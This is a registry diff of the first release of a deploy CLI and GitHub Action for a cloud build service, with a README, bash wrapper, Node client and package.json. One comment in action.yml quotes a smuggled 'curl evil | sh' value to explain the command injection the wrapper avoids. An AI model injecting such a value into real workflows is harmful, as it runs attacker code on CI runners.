@kaiba-cloud/cli 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md ADDED
@@ -0,0 +1,70 @@
1
+ # @kaiba-cloud/cli
2
+
3
+ Build and deploy your apps to Kaiba from CI or a terminal.
4
+
5
+ ## Auth
6
+
7
+ The CLI authenticates with a **scoped deploy token** — a `kaiba_deploy_` token an
8
+ org admin mints in the Kaiba console (Environments → Deploy tokens). A deploy
9
+ token grants only `build` and/or `deploy`. It is NOT an org admin key. Store it
10
+ as a CI secret and pass it as `KAIBA_API_TOKEN`.
11
+
12
+ The hub URL defaults to `https://cloud.kaiba.ai`; override it with `KAIBA_HUB_URL`
13
+ or `--hub-url`.
14
+
15
+ ## CLI
16
+
17
+ ```bash
18
+ kaiba build --repo <url> --branch <ref> --image <name> [--tag <sha>] [--deploy-service <svc>]
19
+ kaiba deploy --service <name> --image <ref>
20
+ kaiba status
21
+ ```
22
+
23
+ - `build` starts a git-mode build on your cluster and streams status until it
24
+ succeeds or fails. It builds a **pushed** git ref. Add `--deploy-service` to
25
+ roll the resulting image to that service in one step.
26
+ - `deploy` retargets one compose service to an image and waits for it to run.
27
+ - `status` prints each service and its live state.
28
+
29
+ ## GitHub Action
30
+
31
+ ```yaml
32
+ jobs:
33
+ ship:
34
+ runs-on: ubuntu-latest
35
+ steps:
36
+ - uses: actions/checkout@v4
37
+ - uses: ai-kaiba/kaiba-action@v1
38
+ with:
39
+ command: build
40
+ repo: ${{ github.server_url }}/${{ github.repository }}
41
+ branch: ${{ github.sha }}
42
+ image: web
43
+ tag: ${{ github.sha }}
44
+ service: web # chains a deploy after the build
45
+ api-token: ${{ secrets.KAIBA_API_TOKEN }}
46
+ ```
47
+
48
+ ## Publishing (maintainers)
49
+
50
+ Published manually — no CI token to rotate. From the repo root:
51
+
52
+ ```bash
53
+ # 1. bump "version" in packages/kaiba-cli/package.json
54
+ # 2. build + publish (publish runs the build via prepublishOnly)
55
+ cd packages/kaiba-cli
56
+ npm login # once per machine; prompts for 2FA
57
+ npm publish # access:public is set in package.json; prompts for an OTP
58
+ ```
59
+
60
+ Notes:
61
+ - `npm publish` uses your interactive npm login, so no long-lived token is stored.
62
+ - npm refuses to republish an existing version — always bump first.
63
+ - The published tarball contains only `dist/`, `action.yml`, and this README.
64
+
65
+ The composite Action runs the compiled CLI, so `dist/` must be built. `npm publish`
66
+ builds it automatically via `prepublishOnly`; to build without publishing:
67
+
68
+ ```bash
69
+ pnpm --filter @kaiba-cloud/cli build
70
+ ```
package/action.yml ADDED
@@ -0,0 +1,88 @@
1
+ name: 'Kaiba build & deploy'
2
+ description: 'Build an app image to your Kaiba registry and deploy it to your dev environment.'
3
+ branding:
4
+ icon: 'upload-cloud'
5
+ color: 'blue'
6
+
7
+ inputs:
8
+ command:
9
+ description: 'build | deploy | status'
10
+ required: true
11
+ api-token:
12
+ description: 'A scoped Kaiba deploy token (store it as a secret).'
13
+ required: true
14
+ hub-url:
15
+ description: 'Kaiba hub URL. Defaults to https://cloud.kaiba.ai.'
16
+ required: false
17
+ # build inputs
18
+ repo:
19
+ description: 'Git repository URL to build (build).'
20
+ required: false
21
+ branch:
22
+ description: 'Branch or commit ref to build (build).'
23
+ required: false
24
+ image:
25
+ description: 'Image name within your registry (build), or full image ref (deploy).'
26
+ required: false
27
+ tag:
28
+ description: 'Image tag (build). Pass the commit SHA.'
29
+ required: false
30
+ dockerfile:
31
+ description: 'Dockerfile path (build). Default "Dockerfile".'
32
+ required: false
33
+ context:
34
+ description: 'Build context subdir (build). Default ".".'
35
+ required: false
36
+ git-token:
37
+ description: 'Token for a private clone (build).'
38
+ required: false
39
+ # deploy inputs
40
+ service:
41
+ description: 'Compose service name to retarget (deploy, or build with chained deploy).'
42
+ required: false
43
+
44
+ runs:
45
+ using: 'composite'
46
+ steps:
47
+ - name: Run kaiba
48
+ shell: bash
49
+ # Every input reaches bash ONLY through the environment — never interpolated
50
+ # into the script body. Interpolating `${{ inputs.* }}` into `run:` would let
51
+ # a value like `"; curl evil | sh; "` execute on the runner (CWE-94). The
52
+ # values are read as quoted shell variables below, which cannot break out.
53
+ env:
54
+ KAIBA_API_TOKEN: ${{ inputs.api-token }}
55
+ KAIBA_HUB_URL: ${{ inputs.hub-url }}
56
+ ACTION_PATH: ${{ github.action_path }}
57
+ IN_COMMAND: ${{ inputs.command }}
58
+ IN_REPO: ${{ inputs.repo }}
59
+ IN_BRANCH: ${{ inputs.branch }}
60
+ IN_IMAGE: ${{ inputs.image }}
61
+ IN_TAG: ${{ inputs.tag }}
62
+ IN_DOCKERFILE: ${{ inputs.dockerfile }}
63
+ IN_CONTEXT: ${{ inputs.context }}
64
+ IN_GIT_TOKEN: ${{ inputs.git-token }}
65
+ IN_SERVICE: ${{ inputs.service }}
66
+ run: |
67
+ set -euo pipefail
68
+ add() { [ -n "${2:-}" ] && ARGS+=("--$1" "$2") || true; }
69
+ ARGS=()
70
+ case "$IN_COMMAND" in
71
+ build)
72
+ add repo "$IN_REPO"
73
+ add branch "$IN_BRANCH"
74
+ add image "$IN_IMAGE"
75
+ add tag "$IN_TAG"
76
+ add dockerfile "$IN_DOCKERFILE"
77
+ add context "$IN_CONTEXT"
78
+ add git-token "$IN_GIT_TOKEN"
79
+ add deploy-service "$IN_SERVICE"
80
+ ;;
81
+ deploy)
82
+ add service "$IN_SERVICE"
83
+ add image "$IN_IMAGE"
84
+ ;;
85
+ status) ;;
86
+ *) echo "Unknown command: $IN_COMMAND" >&2; exit 1 ;;
87
+ esac
88
+ node "$ACTION_PATH/dist/cli.js" "$IN_COMMAND" ${ARGS[@]+"${ARGS[@]}"}
package/dist/cli.js ADDED
@@ -0,0 +1,196 @@
1
+ #!/usr/bin/env node
2
+ /**
3
+ * kaiba — build and deploy your apps from CI or a terminal.
4
+ *
5
+ * kaiba build --repo <url> --branch <ref> --image <name> [--tag <t>] [--deploy-service <svc>]
6
+ * kaiba deploy --service <name> --image <ref>
7
+ * kaiba status
8
+ *
9
+ * Auth: set KAIBA_API_TOKEN to a scoped deploy token. The hub URL defaults to
10
+ * https://cloud.kaiba.ai and is overridden with KAIBA_HUB_URL or --hub-url.
11
+ */
12
+ import { KaibaClient, KaibaApiError } from './client.js';
13
+ const DEFAULT_HUB_URL = 'https://cloud.kaiba.ai';
14
+ const POLL_INTERVAL_MS = 5000;
15
+ const BUILD_TIMEOUT_MS = 30 * 60 * 1000;
16
+ const DEPLOY_TIMEOUT_MS = 10 * 60 * 1000;
17
+ function parseFlags(argv) {
18
+ const flags = {};
19
+ for (let i = 0; i < argv.length; i++) {
20
+ const arg = argv[i];
21
+ if (!arg.startsWith('--'))
22
+ continue;
23
+ const key = arg.slice(2);
24
+ const next = argv[i + 1];
25
+ if (next === undefined || next.startsWith('--')) {
26
+ flags[key] = true;
27
+ }
28
+ else {
29
+ flags[key] = next;
30
+ i++;
31
+ }
32
+ }
33
+ return flags;
34
+ }
35
+ function required(flags, name) {
36
+ const v = flags[name];
37
+ if (typeof v !== 'string' || v.length === 0) {
38
+ fail(`Missing required flag --${name}`);
39
+ }
40
+ return v;
41
+ }
42
+ function fail(message) {
43
+ process.stderr.write(`✗ ${message}\n`);
44
+ process.exit(1);
45
+ }
46
+ function log(message) {
47
+ process.stdout.write(`${message}\n`);
48
+ }
49
+ function sleep(ms) {
50
+ return new Promise((resolve) => setTimeout(resolve, ms));
51
+ }
52
+ function makeClient(flags) {
53
+ const token = process.env.KAIBA_API_TOKEN;
54
+ if (!token)
55
+ fail('KAIBA_API_TOKEN is not set — provide a scoped deploy token');
56
+ const hubUrl = (typeof flags['hub-url'] === 'string' ? flags['hub-url'] : undefined) ?? process.env.KAIBA_HUB_URL ?? DEFAULT_HUB_URL;
57
+ return new KaibaClient({ hubUrl, token });
58
+ }
59
+ const TERMINAL_BUILD = new Set(['succeeded', 'failed', 'cancelled']);
60
+ const TERMINAL_SERVICE_FAIL = new Set(['ErrImagePull', 'ImagePullBackOff', 'CrashLoopBackOff', 'error', 'failed']);
61
+ /** 5xx responses during a poll are infrastructure hiccups, not terminal state. */
62
+ function isTransient(status) {
63
+ return status >= 500;
64
+ }
65
+ async function runBuild(client, flags) {
66
+ const started = await client.startBuild({
67
+ repoUrl: required(flags, 'repo'),
68
+ branch: required(flags, 'branch'),
69
+ imageName: required(flags, 'image'),
70
+ tag: typeof flags['tag'] === 'string' ? flags['tag'] : undefined,
71
+ dockerfilePath: typeof flags['dockerfile'] === 'string' ? flags['dockerfile'] : undefined,
72
+ context: typeof flags['context'] === 'string' ? flags['context'] : undefined,
73
+ gitToken: typeof flags['git-token'] === 'string' ? flags['git-token'] : undefined,
74
+ });
75
+ log(`◐ build ${started.buildId} started → ${started.imageRef}`);
76
+ const deadline = Date.now() + BUILD_TIMEOUT_MS;
77
+ let last = '';
78
+ while (Date.now() < deadline) {
79
+ await sleep(POLL_INTERVAL_MS);
80
+ let s;
81
+ try {
82
+ s = await client.getBuild(started.buildId, started.clusterId);
83
+ }
84
+ catch (err) {
85
+ // A transient poll failure (cluster briefly offline, backend blip) must not
86
+ // fail a build that is still running. Only a terminal build status ends it.
87
+ if (err instanceof KaibaApiError && isTransient(err.status))
88
+ continue;
89
+ throw err;
90
+ }
91
+ if (s.status !== last) {
92
+ log(`◐ build ${s.status}`);
93
+ last = s.status;
94
+ }
95
+ if (TERMINAL_BUILD.has(s.status)) {
96
+ if (s.status === 'succeeded') {
97
+ log(`✓ build succeeded → ${started.imageRef}`);
98
+ return started.imageRef;
99
+ }
100
+ const reason = s.deadlineExceeded ? ' (deadline exceeded)' : s.oomKilled ? ' (out of memory)' : '';
101
+ await dumpBuildLogs(client, started.buildId, started.clusterId);
102
+ fail(`build ${s.status}${reason}${s.error ? `: ${s.error}` : ''}`);
103
+ }
104
+ }
105
+ fail('build timed out');
106
+ }
107
+ async function dumpBuildLogs(client, buildId, clusterId) {
108
+ try {
109
+ const { logs } = await client.getBuildLogs(buildId, clusterId);
110
+ if (logs)
111
+ process.stderr.write(`\n--- build logs ---\n${logs}\n------------------\n`);
112
+ }
113
+ catch {
114
+ // logs are best-effort on failure
115
+ }
116
+ }
117
+ async function waitForService(client, service) {
118
+ const deadline = Date.now() + DEPLOY_TIMEOUT_MS;
119
+ while (Date.now() < deadline) {
120
+ await sleep(POLL_INTERVAL_MS);
121
+ let env;
122
+ try {
123
+ env = await client.status();
124
+ }
125
+ catch (err) {
126
+ if (err instanceof KaibaApiError && isTransient(err.status))
127
+ continue;
128
+ throw err;
129
+ }
130
+ const svc = env.services.find((s) => s.name === service);
131
+ if (!svc)
132
+ continue;
133
+ if (svc.status === 'running') {
134
+ log(`✓ ${service} running`);
135
+ return;
136
+ }
137
+ if (TERMINAL_SERVICE_FAIL.has(svc.status)) {
138
+ fail(`${service} failed to start: ${svc.status}${svc.error ? ` (${svc.error})` : ''}`);
139
+ }
140
+ log(`◐ ${service} ${svc.status}`);
141
+ }
142
+ fail(`${service} did not become ready within the deploy timeout`);
143
+ }
144
+ async function runDeploy(client, service, image) {
145
+ await client.deploy(service, image);
146
+ log(`◐ deploy dispatched: ${service} → ${image}`);
147
+ await waitForService(client, service);
148
+ }
149
+ function printStatus(env) {
150
+ log(`● ${env.name} (${env.status})`);
151
+ for (const s of env.services) {
152
+ const mark = s.status === 'running' ? '✓' : TERMINAL_SERVICE_FAIL.has(s.status) ? '✗' : '◐';
153
+ log(` ${mark} ${s.name} — ${s.status}${s.error ? ` (${s.error})` : ''}`);
154
+ }
155
+ }
156
+ async function main() {
157
+ const [command, ...rest] = process.argv.slice(2);
158
+ const flags = parseFlags(rest);
159
+ if (!command || command === 'help' || flags['help']) {
160
+ log('Usage:');
161
+ log(' kaiba build --repo <url> --branch <ref> --image <name> [--tag <t>] [--dockerfile <p>] [--context <d>] [--deploy-service <svc>]');
162
+ log(' kaiba deploy --service <name> --image <ref>');
163
+ log(' kaiba status');
164
+ log('');
165
+ log('Auth: set KAIBA_API_TOKEN. Hub: KAIBA_HUB_URL or --hub-url (default https://cloud.kaiba.ai).');
166
+ process.exit(command ? 0 : 1);
167
+ }
168
+ const client = makeClient(flags);
169
+ try {
170
+ switch (command) {
171
+ case 'build': {
172
+ const imageRef = await runBuild(client, flags);
173
+ const deployService = typeof flags['deploy-service'] === 'string' ? flags['deploy-service'] : undefined;
174
+ if (deployService)
175
+ await runDeploy(client, deployService, imageRef);
176
+ return;
177
+ }
178
+ case 'deploy': {
179
+ await runDeploy(client, required(flags, 'service'), required(flags, 'image'));
180
+ return;
181
+ }
182
+ case 'status': {
183
+ printStatus(await client.status());
184
+ return;
185
+ }
186
+ default:
187
+ fail(`Unknown command '${command}'. Run 'kaiba help'.`);
188
+ }
189
+ }
190
+ catch (err) {
191
+ if (err instanceof KaibaApiError)
192
+ fail(`${err.message} (HTTP ${err.status})`);
193
+ fail(err instanceof Error ? err.message : String(err));
194
+ }
195
+ }
196
+ void main();
package/dist/client.js ADDED
@@ -0,0 +1,52 @@
1
+ /**
2
+ * HTTP client for the Kaiba CI surface (`/ci/*` on the hub). Authenticates with
3
+ * a scoped deploy token via `x-api-key`. Uses only the Node 18+ global `fetch`,
4
+ * so the CLI ships with no runtime dependencies.
5
+ */
6
+ export class KaibaApiError extends Error {
7
+ status;
8
+ constructor(status, message) {
9
+ super(message);
10
+ this.status = status;
11
+ this.name = 'KaibaApiError';
12
+ }
13
+ }
14
+ export class KaibaClient {
15
+ base;
16
+ token;
17
+ constructor(opts) {
18
+ this.base = opts.hubUrl.replace(/\/$/, '');
19
+ this.token = opts.token;
20
+ }
21
+ async request(method, path, body) {
22
+ const res = await fetch(`${this.base}${path}`, {
23
+ method,
24
+ headers: {
25
+ 'x-api-key': this.token,
26
+ ...(body ? { 'content-type': 'application/json' } : {}),
27
+ },
28
+ ...(body ? { body: JSON.stringify(body) } : {}),
29
+ });
30
+ const text = await res.text();
31
+ const data = text ? JSON.parse(text) : {};
32
+ if (!res.ok) {
33
+ throw new KaibaApiError(res.status, data.error ?? `${res.status} ${res.statusText}`);
34
+ }
35
+ return data;
36
+ }
37
+ startBuild(req) {
38
+ return this.request('POST', '/ci/builds', req);
39
+ }
40
+ getBuild(buildId, clusterId) {
41
+ return this.request('GET', `/ci/builds/${encodeURIComponent(buildId)}?clusterId=${encodeURIComponent(clusterId)}`);
42
+ }
43
+ getBuildLogs(buildId, clusterId) {
44
+ return this.request('GET', `/ci/builds/${encodeURIComponent(buildId)}/logs?clusterId=${encodeURIComponent(clusterId)}`);
45
+ }
46
+ deploy(service, image) {
47
+ return this.request('POST', '/ci/deploy', { service, image });
48
+ }
49
+ status() {
50
+ return this.request('GET', '/ci/status');
51
+ }
52
+ }
package/package.json ADDED
@@ -0,0 +1,30 @@
1
+ {
2
+ "name": "@kaiba-cloud/cli",
3
+ "version": "0.1.0",
4
+ "description": "Kaiba CLI — build and deploy your apps from CI or a terminal.",
5
+ "type": "module",
6
+ "license": "UNLICENSED",
7
+ "bin": {
8
+ "kaiba": "dist/cli.js"
9
+ },
10
+ "files": [
11
+ "dist",
12
+ "action.yml",
13
+ "README.md"
14
+ ],
15
+ "publishConfig": {
16
+ "access": "public"
17
+ },
18
+ "scripts": {
19
+ "build": "tsc -p tsconfig.json",
20
+ "prepublishOnly": "tsc -p tsconfig.json",
21
+ "check-types": "tsc --noEmit"
22
+ },
23
+ "devDependencies": {
24
+ "@types/node": "^20.19.43",
25
+ "typescript": "^5.9.3"
26
+ },
27
+ "engines": {
28
+ "node": ">=18"
29
+ }
30
+ }